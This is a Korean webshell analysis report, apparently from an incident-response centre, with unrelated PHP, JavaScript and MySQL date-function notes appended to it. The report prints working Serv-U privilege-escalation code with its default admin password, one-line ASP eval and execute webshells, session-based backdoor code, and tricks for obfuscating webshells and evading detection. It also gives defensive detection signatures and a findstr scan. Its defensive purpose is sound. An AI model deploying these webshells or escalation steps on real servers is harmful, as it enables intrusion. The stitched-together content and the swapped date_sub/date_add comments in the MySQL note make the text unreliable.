웹에서 실행되는 모든 파일들은 기본적으로 인터넷 게스트 계정으로 으로 실행된다. 웹쉘은 이러한 제한된 권한을 관리자 권한으로 상승시키기 위해 취약점 있는 Serv-U 프로그램을 이용한다.
Serv-U 3.x ~ 5.x는 로컬 권한 상승 취약점이 있으며 이를 이용하여 새로운 관리자 계정을 생성할 수 있다. 취약점을 공격하는 과정은 아래와 같다.

o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드 및 실행 (TzoLibr.dll 필요)
o Serv-U 디폴트 아이피/포트(127.0.0.1/43958) 로 접속 후
o Serv-U 디폴트 관리 아이디/패스워드로 로그인
- USER LocalAdministrator (디폴트 아이디)
- PASS #l@$ak#.lk;0@P (디폴트 패스워드)
o Serv-U에 신규 도메인 생성
o Serv-U 명령어 실행에 필요한 Serv-U 사용자 추가
o “SITE EXEC“ Serv-U 내부 스크립트를 통한 시스템 명령어 수행

set a=Server.CreateObject(“Microsoft.XMLHTTP”)
a.open “GET”, “http://127.0.0.1:” & port & “/goldsun/upadmin/s1”,True, “”, “”
a.send loginuser & loginpass & “SITE MAINTENANCE” & deldomain & newdomain &
newuser & quit
set session(“a”)=a
set b=Server.CreateObject(“Microsoft.XMLHTTP”)
b.open “GET”, “http://127.0.0.1:” & ftpport & “/goldsun/upadmin/s2”, True, “”, “”
b.send “User go” & vbCrLf & “pass od” & vbCrLf & “SITE EXEC “ & cmd & vbCrLf & quit
set session(“b”)=b


나. 스크립트 인코딩
마이크로소프트社의 윈도우 스크립트는 Script Encoder를 제공하여 일반 사용자들이 스크립트 내용을 확인하는게 쉽지 않도록 하고 있다. 하지만 웹쉘을 업로드한 공격자가 이러한 기능을 악용하여 관리자가 웹쉘을 쉽게 찾지 못하도록 백신탐지를 우회 하는데 이용하고 있다.

http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx

Script Encoder는 콘솔모드에서 명령어 라인으로 실행되며 다음과 같이 사용한다.

SCRENC [switches] inputfile outputfile

일반 asp 스크립트를 인코딩 하면 아래와 같은 결과가 된다.

일반 소스
인코딩 소스
<script language=”VBScript”>
<%
This is test
%>
</script>
<%@ LANGUAGE = VBScript.Encode %>
<script language=”VBScript”>
<%#@~^FAAAAA==@#@&K4b/,k/,Y dY
@#@&ogQAAA==^#~@%>
</script>

[그림] scrdec18 프로그램을 이용한 디코딩

다. 짧은 웹쉘
ASP 웹쉘 중 eval, execute 메소드를 이용하여 공격자로부터 웹쉘 코드를 전달 받아 실행하는 짧은 소스 코드들이 있다. 이같이 짧은 소스코드가 정상적인 소스에 삽입되어 실행되는 경우도 있으므로 관리자들의 각별한 주의가 필요하다.

- eval (expression) : eval 함수는 expression으로 정의된 코드를 평가하여 결과(True, False)를 알려준다.
- execute (expression) : execute 함수는 expression으로 정의된 코드를 실행하여 결과를 알려준다.

eval, execute 메소드를 이용한 웹쉘 구동 방법은 아래 개요도처럼, 먼저 공격자는 피해시스템에 웹쉘 코드를 보내는 html 폼(2006_lite.asp.html)을 준비하고 그 폼에 웹쉘 코드를 넣어 피해 시스템 웹쉘(server.asp)에 전송한다. 피해시스템에서는 웹쉘 코드를 전달 받아 execute, eval 메소드로 실행하고 execute 메소드는 결과를 공격자에게 전달해 준다. (eval 메소드는 코드를 실행하고 결과에 대한 True, False 만을 알려주므로 적절한 결과를 공격자에게 알려주지는 못한다)

[그림] execute, eval 코드를 이용한 웹쉘 실행 방법

■ eval 코드
다음은 피해시스템에서 발견된 eval 코드 유형이며 아래와 같이 한 줄, 짧은 코드로 이루어진다.
- <%eval request(“l”)%>
- <%eval(request(“#”))%>

■ execute 코드
다음은 피해시스템에서 발견된 execute 코드 유형이다.
- <%execute request(“l”)%>
- <%If Request(“#”)<>”” Then Execute(Request(“#”))%>

■ execute 세션 유지 용 코드
execute 메소드를 이용한 짧은 코드의 경우 공격자가 실행하기 원하는 코드를 위 개요도 그림처럼 매번 전송해주어야 하는 번거로움이 있다. 그래서 공격자들은 한번 넘겨준 코드를 실행한 결과를 세션으로 연결하여 다음에는 코드를 넘겨줄 필요 없이 실행 결과에서 다음 메뉴로 넘어갈 수 있도록 하였다.

<script language=”vbscript” runat=”server”>
If Request(“asdf”)<>”” Then Session(“조직킬러”)=Request(“asdf”)
If Session(“조직킬러”)<>”” Then Execute(Session(“조직킬러”))
</script>


라. 기타

■ 문자열 분리를 이용한 탐지 우회 기능
최근 바이러스 백신이나 서버 관리자들이 웹쉘 시그니쳐를 통해 웹쉘 탐지가 많아지자 공격자 들은 시그니쳐로 이용되는 문자열(오브젝트 명)들을 분산시켜 탐지를 우회하고 있다.

- Shell.Application
문자열을 연결하는 & 연산자를 이용하고 값이 주어지지 않은 변수 x를 이용해 아래와 같이
Shell.Application 문자열을 분리한다.
Set sa = Server.CreateObject“( She”&x&”ll.Appl”&x&”ication”)
“She”&x&”ll.Appl”&x&”ication”=>“ Shell.Application”
- WScript.Shell
Set ws = Server.CreateObject“( WScr”&x&”ipt.Shell”)

■ 파일 생성 웹쉘
Scripting.FileSystemObject 오브젝트를 이용하여 새로운 파일을 생성하는 기능을 앞서 살펴 보았다. 최근 정상적인 스크립트들에서도 사용하는 CreateTextFile, Write 메소드를 이용하여 단지 파일만 생성하는 웹쉘들이 증가하고 있다. 이러한 웹쉘은 정상적인 스크립트에서 사용하는 오브젝트와 메소드를 사용하므로 탐지하기가 쉽지 않다. 또한 이러한 웹쉘들은 앞서 설명한 다양한 기능을 가지는 웹쉘을 얼마든지 생성할 수가 있어 관리자들의 주의가 필요하다.

[그림] 파일 생성 웹쉘 화면

3. 탐지 방안

가. 웹쉘 시그니쳐를 이용한 파일 검색

■ 시그니쳐
웹쉘은 시스템 명령어를 수행하거나 파일을 조작하기 위해 관련된 오브젝트, Wscript.Shell, Shell.Application 등을 주로 사용하게 된다. 하지만 이러한 오브젝트는 정상적인 스크립트 코드에서는 사용하지 않는 것들로 웹쉘 탐지를 위한 시그니쳐로 지정하여 웹쉘을 탐지하는데 이용할 수 있다. 이렇게 시그니쳐로 지정할 만한 문자열들을 찾아본 결과 다음과 같았다.

- Wscript.Shell, Shell.Application 과 같은 시스템에 접근할 수 있는 오브젝트나 메소드
- 인코딩된 파일에 삽입된 헤더 문자열 VBScript.Encode
- 중국어 간체 gb2312
- 시스템 명령에 필요한 문자열 cmd.exe
- 정상적인 스크립트에서 흔히 사용되지 않는 eval, execute 함수 등

cmd\.exe
Wscript\.Shell Shell\.Application VBScript\.Encode gb2312
execute *\(? *session execute *\(? *request eval *\(? *request \.run.*> \.exec *\(
webshell lake2 hack520 lcxMarcos Marcos


■ findstr 명령어를 활용한 탐지 방법
findstr 이라는 명령어는 지정된 파일들에서 찾고자 하는 특정 문자열들을 검색할 수 있도록 도와준다. 위에서 정의된 시그니쳐들을 파일(asp.sig)로 지정하고 사이트 홈 디렉터리에서 아 래의 예처럼 실행해 보기 바란다.

findstr /i /r /s /g:asp.sig *.asp

- i : 대소문자 구분없이 검색
- g : 지정된 파일에서 검색 문자열을 받음
- r : 정규 표현식 사용
- s : 모든 하위디렉터리 검색

※ 최근 공격자들이 웹쉘 확장자를 .cer, .asa, cdx, hta로 변경하여 파일을 업로드 하는 경우가 있다.(파일 업로드
우회 공격) 반드시 검사 확장자를 asp 뿐만 아니라 스크립트로 실행되도록 지정된 .asa, .cer 등도 반드시 함께
검색 하도록 해야 한다.


[그림] 검사대상 확장명

나. 웹쉘 로그 시그니쳐를 이용한 웹 로그 검색

■ 시그니쳐
최근 대부분의 웹쉘들은 POST 방식으로 관련 데이터들을 전송하기 때문에 웹 로그에서 웹쉘이 실행된 흔적을 찾기가 쉽지 않다. 하지만 많은 웹쉘들은 실행할 메뉴들을 GET 방식으로 전달 하여 이러한 로그들을 대상으로 시그니쳐를 추출 할 수 있었다. 아래 8.0.asp 웹쉘에서 시스템 명령어 수행하는 메뉴를 실행하면 아래와 같이 /WebShell/8.0.asp?Action=Cmd1Shell GET 요청을 하게 되어 Action=Cmd1Shell 이라는 고유의 시그니쳐를 얻을 수 있다.

ex) http://victim.com/WebShell/8.0.asp?Action=Cmd1Shell

인터넷침해사고대응지원센터에서 피해시스템에서 수집된 웹쉘을 테스트하고 아래와 같이 웹쉘 실행여부를 확인할 수 있는 시그니쳐를 추출하였다.

Action=MainMenu
Action=Show1File
Action=EditFile
Action=DbManager
Action=getTerminalInfo
Action=ServerInfo
Action=Servu
Action=kmuma
Action=kmuma&act=scan
Action=Cplgm&M=2
Action=plgm
Action=PageAddToMdb >
Action=ReadREG
Action=ScanPort
Action=Cmd1Shell
Action=UpFile
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=infoAboutSrv
(pageName|id|list|action|act)=objOnSrv
(pageName|id|list|action|act)=userList
(pageName|id|list|action|act)=WsCmdRun
(pageName|id|list|action|act)=SaCmdRun
(pageName|id|list|action|act)=SaCmdRun&theAct
(pageName|id|list|action|act)=FsoFileExplorer
(pageName|id|list|action|act)=FsoFileExplorer&theAct
(pageName|id|list|action|act)=FsoFileExplorer&thePath
pageName=MsDataBase
pageName=MsDataBase&theAct=showTables
pageName=TxtSearcher
pageName=OtherTools
act=scan
Action=mainwin
action=listtb
action=listvw
action=listdb
action=execsql
action=dbsrcbox
action=searchfile
action=xpcmdshell
(action|act)=cmdshell
action=mainmenu
action=showfile
action=editfile
action=course
action=serverinfo
action=upfile
action=dbmanager
ex=edit&pth=
PageName=PageUpload&theAct
PageName=PageWebProxy&url=
productName=HigroupASPAdmin
PageWebProxy
aCTiON=cMd
aCTiON=ClonETiMe&SrC=
aCTiON=SqLrOotKIt
aCTiON=Reg
aCTiON=DAtA
aCTiON=Goto&SrC=C:\
aCTiON=uPFIlE&SrC=
aCTiON=NEw&SrC=
act=info
act=filemanage
act=edit&src=
act=del&src=
act=rename&src=
DirName=
Type=.*FileName=.*\
Type=.*ok=dir
FsoFileExplorer
WsCmdRun
SaCmdRun
MsDataBase
HigroupASPAdmin
=cmd
ClonETiMe
SqLrOotKIt


4. 결론
관리하는 서버에서 웹쉘이 탐지되었다면 시스템에 웹쉘을 생성할 수 있었던 취약점이 존재 할 것 이다. 웹쉘이 업로드 된 피해시스템을 분석한 결과 대부분 파일 업로드, SQL Injection과 같은 어플리케이션 취약점으로 웹쉘이 생성되는 것으로 확인되었다. 웹쉘을 탐지해서 제거하는 것도 중요하지만 웹쉘을 생성할 수 있었던 근본적인 취약점을 찾아내어 패치하는 것도 관리자들이 꼭~! 잊지 않고 해야 될 작업일 것이다.
앞서 탐지 방법에서 제공한 시그니쳐들은 오탐이 발생할 수 있으므로 반드시 이 보고서에서 설명한 기능을 갖는 웹쉘인지 확인 후 삭제해야 한다.

PHP 날짜 함수 정리 ( Write By Yaku)

 

오늘로부터 5일 후

echo date("Y-m-d",strtotime("+5 day"));
다음은 오늘로부터 3일 전이 되겠습니다.
echo date("Y-m-d",strtotime("-3 day"));

 

오늘로부터 6주 전

$calyoil = 5 - date("w"); //현재 요일에서 금요일을 구하기 위한 가감
$needday = strtotime("-6 week"); // 6
주전
$needday = date("Y-m-d" , strtotime("$calyoil days",$needday));
echo $needday;

 

윤년

if(29==date(t,mktime(0,0,0,2,1,$year))
echo "
윤년";
else echo "
윤년아님";

 

--mktime(,,,,,년도)--

 

그 달의 마지막 날짜  가지고 오기

$lastday = date(t,mktime(0,0,1,$month,1,$year));

 

금주의 시작일 구하기

$now=date("w");

$m=$now-1;

$start=date("Y-n-d",strtotime("-$m day"));

 

 

 

 

JS 날짜 정리 ..

Month ( 0 ~ 11까지 정의 된다 )  현재월을 표시하려면 month -1 하여라 ..

 

날짜 객체  생성  var today = new Date( , , ) ;

날짜 년 가지고 오기 today.getYear();

날짜 월 가지고 오기 today.getMonth();  ( 현재월 가지고 올경우  +1 )

날짜 일 가지고 오기 today.getDate();  (day 가 아니 getDate 이다)

날짜 월 짜리수 맞추기 위한 if = parseInt() < 10 ? - + parseInt() : parseInt();

 

 

 

Mysql 날짜 함수

select date_sub(now(), interval 5 day);
5
일후..
select date_add(now(), interval 5 day);
5
일전...

ob_start();

header함수 앞에 다른 출력들이 사용되어질때 사용되어지는 메세지이다.
맨위에 집어 넣으면 에러 메세지가 안뜬다.

Cannot modify header information - header already sent 뭐 요런 메세지가 뜰때 이용하면 된다.